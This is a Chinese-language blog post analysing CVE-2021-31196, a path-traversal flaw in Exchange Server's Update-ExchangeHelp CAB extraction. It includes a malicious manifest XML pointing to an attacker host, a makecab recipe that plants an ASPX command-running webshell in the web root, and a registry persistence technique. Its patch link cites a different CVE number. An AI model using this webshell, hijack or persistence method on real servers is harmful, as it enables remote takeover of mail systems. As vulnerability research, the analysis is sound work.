Good in study, attitude and health

Pwn2Own 2021 Microsoft Exchange Server漏洞(CVE-2021-31196)利用分析

0x00 前言


CVE-2021-31196是一个逻辑漏洞,利用前提是需要中间人攻击,并且还需要用户的交互操作,最后能够实现远程代码执行。

漏洞作者分享的技术文章:

https://srcincite.io/blog/2021/08/25/pwn2own-vancouver-2021-microsoft-exchange-server-remote-code-execution.html

本文仅在技术角度记录自己的研究心得。

0x01 简介


本文将要介绍以下内容:

  • 漏洞调试
  • 利用思路

0x02 漏洞调试


1.漏洞摘要

在Exchange Server 2013或更高版本中,当管理用户在Exchange Management Shell中运行Update-ExchangeHelp或者Update-ExchangeHelp -Force命令时,处于特权网络位置的未经身份验证的攻击者可以触发远程执行代码漏洞

特权网络位置是指攻击者能够劫持域名http://go.microsoft.com/fwlink/p/?LinkId=287244

2.漏洞代码位置

按照原文中给出的资料,dnSpy打开文件C:\Program Files\Microsoft\Exchange Server\V15\Bin\Microsoft.Exchange.Management.dll

依次定位到Microsoft.Exchange.Management.UpdatableHelp -> HelpUpdater -> UpdateHelp()

3.漏洞逻辑

(1)使用Exchange Management Shell执行Update-ExchangeHelp命令或者Update-ExchangeHelp -Force命令

在Exchange Server 2013或更高版本中,支持Update-ExchangeHelp命令,用来检查本地计算机上Exchange Management Shell最新可用版本的帮助

Update-ExchangeHelp的限制期为24小时,如果在24小时内再次执行命令,需要加入-Force参数

执行命令后进入UpdateHelp()函数,开始后面的操作

(2)下载配置文件

UpdateHelp()函数中下载配置文件的代码如下图

Alt text

DownloadManifest()的实现代码如下:

internal void DownloadManifest()
{
	string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);
	if (!this.helpUpdater.Cmdlet.Abort)
	{
		this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));
	}
}

对于string downloadUrl = this.ResolveUri(this.helpUpdater.ManifestUrl);,参数this.helpUpdater.ManifestUrl通过函数LoadConfiguration()获得,LoadConfiguration()的部分代码如下:

RegistryKey registryKey3 = Registry.LocalMachine.OpenSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
if (registryKey3 == null)
{
	registryKey3 = Registry.LocalMachine.CreateSubKey("SOFTWARE\\Microsoft\\ExchangeServer\\v15\\UpdateExchangeHelp");
}
if (registryKey3 != null)
{
	try
	{
		this.ManifestUrl = registryKey3.GetValue("ManifestUrl", "http://go.microsoft.com/fwlink/p/?LinkId=287244").ToString();
		if (string.IsNullOrEmpty(this.ManifestUrl))
		{
			throw new UpdatableExchangeHelpSystemException(UpdatableHelpStrings.UpdateRegkeyNotFoundErrorID, UpdatableHelpStrings.UpdateRegkeyNotFound("SOFTWARE\\Microsoft\\ExchangeServer\\v15", "\\UpdateExchangeHelp", "ManifestUrl"), ErrorCategory.MetadataError, null, null);
		}

这里的逻辑为读取注册表HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp中名称为ManifestUrl的项,如果存在,将值赋值给ManifestUrl,如果不存在,ManifestUrl的值为http://go.microsoft.com/fwlink/p/?LinkId=287244

这里也是这个漏洞的利用前提之一,需要能够劫持http://go.microsoft.com/fwlink/p/?LinkId=287244

换一种思路,如果已经获得了Exchange服务器的控制权限,通过修改注册表,设置ManifestUrl,类型为REG_SZ,值为远程xml地址,例如http://192.168.1.3/poc.xml,可以作为一种持久化的利用方法

对于this.AsyncDownloadFile(UpdatableHelpStrings.UpdateComponentManifest, downloadUrl, this.helpUpdater.LocalManifestPath, 30000, new DownloadProgressChangedEventHandler(this.OnManifestProgressChanged), new AsyncCompletedEventHandler(this.OnManifestDownloadCompleted));,参数this.helpUpdater.LocalManifestPath为配置文件的保存路径,默认配置下路径为C:\Program Files\Microsoft\Exchange Server\V15\Bin\UpdateHelp.$$$\ExchangeHelpInfo.xml

xml配置文件的格式示例:

<ExchangeHelpInfo>
  <HelpVersions>
    <HelpVersion>
      <Version>15.1.2176.2</Version>
      <Revision>1</Revision>
      <CulturesUpdated>en</CulturesUpdated>
      <CabinetUrl>http://192.168.1.3/poc.cab</CabinetUrl>
    </HelpVersion>
  </HelpVersions>
</ExchangeHelpInfo>

参数Version为Exchange的版本号,在调试环境下可通过查看注册表获得:

REG QUERY "HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\ExchangeServer\v15\ClientAccessRole" /v ConfiguredVersion

参数Revision为修订版本号,这里需要注意取值范围,一次正常的Update-ExchangeHelp操作后,会在注册表HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp新建注册表项CurrentHelpRevision,类型为REG_DWORD,值为Revision对应的数值,在下一次Update-ExchangeHelp操作时,xml配置文件的Revision数值需要大于注册表项CurrentHelpRevision的值

注:

如果一次正常的Update-ExchangeHelp操作后,手动删除注册表项CurrentHelpRevision,在下一次Update-ExchangeHelp操作时,Revision取1即可

参数CabinetUrl为cab文件的下载地址

(3)下载并提取CAB文件

UpdateHelp()函数中下载并提取CAB文件的代码如下图

Alt text

ExtractToTemp()的实现代码如下:

internal int ExtractToTemp()
{
	this.filesAffected = 0;
	this.helpUpdater.EnsureDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
	this.helpUpdater.CleanDirectory(this.helpUpdater.LocalCabinetExtractionTargetPath);
	bool embedded = false;
	string filter = "";
	int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);
	this.cabinetFiles = new Dictionary<string, List<string>>();
	this.helpUpdater.RecursiveDescent(0, this.helpUpdater.LocalCabinetExtractionTargetPath, string.Empty, this.affectedCultures, false, this.cabinetFiles);
	this.filesAffected = result;
	return result;
}

对于int result = EmbeddedCabWrapper.ExtractCabFiles(this.helpUpdater.LocalCabinetPath, this.helpUpdater.LocalCabinetExtractionTargetPath, filter, embedded);,用于提取CAB文件的内容

ExtractCabFiles在提取之前没有对文件路径进行判断,这也是CVE-2021-31196的漏洞所在。如果传入../可以进行目录穿越,最终实现任意文件写入

关于CAB文件的制作,可以参照原文中的方法:

files.txt的内容如下:

"poc.aspx" "../../../../../../../inetpub/wwwroot/aspnet_client/poc.aspx"

poc.aspx的内容如下:

<%=System.Diagnostics.Process.Start("cmd", Request["c"])%>

命令行下执行命令:

makecab /d "CabinetName1=poc.cab" /f files.txt

生成最终的poc.cab

0x03 利用思路


1.通过中间人攻击的方式劫持http://go.microsoft.com/fwlink/p/?LinkId=287244

POC可参考原文

当管理用户在Exchange Management Shell中运行Update-ExchangeHelp或者Update-ExchangeHelp -Force命令时,Exchange服务器将会在C:\inetpub\wwwroot\aspnet_client写入Webshell

2.修改注册表,实现持久化利用

注册表位置:HKLM\SOFTWARE\Microsoft\ExchangeServer\v15\UpdateExchangeHelp

新建注册表项,名称为ManifestUrl,类型为REG_SZ,内容为远程xml地址,例如http://192.168.1.3/poc.xml

0x04 防御建议


1.安装补丁

参考资料:

https://msrc.microsoft.com/update-guide/en-US/vulnerability/CVE-2021-31206

2.避免网络被劫持

0x05 小结


CVE-2021-31196的利用条件虽然相对来说多一些,但是在特定环境下也有利用的可能,需要及时更新补丁。


LEAVE A REPLY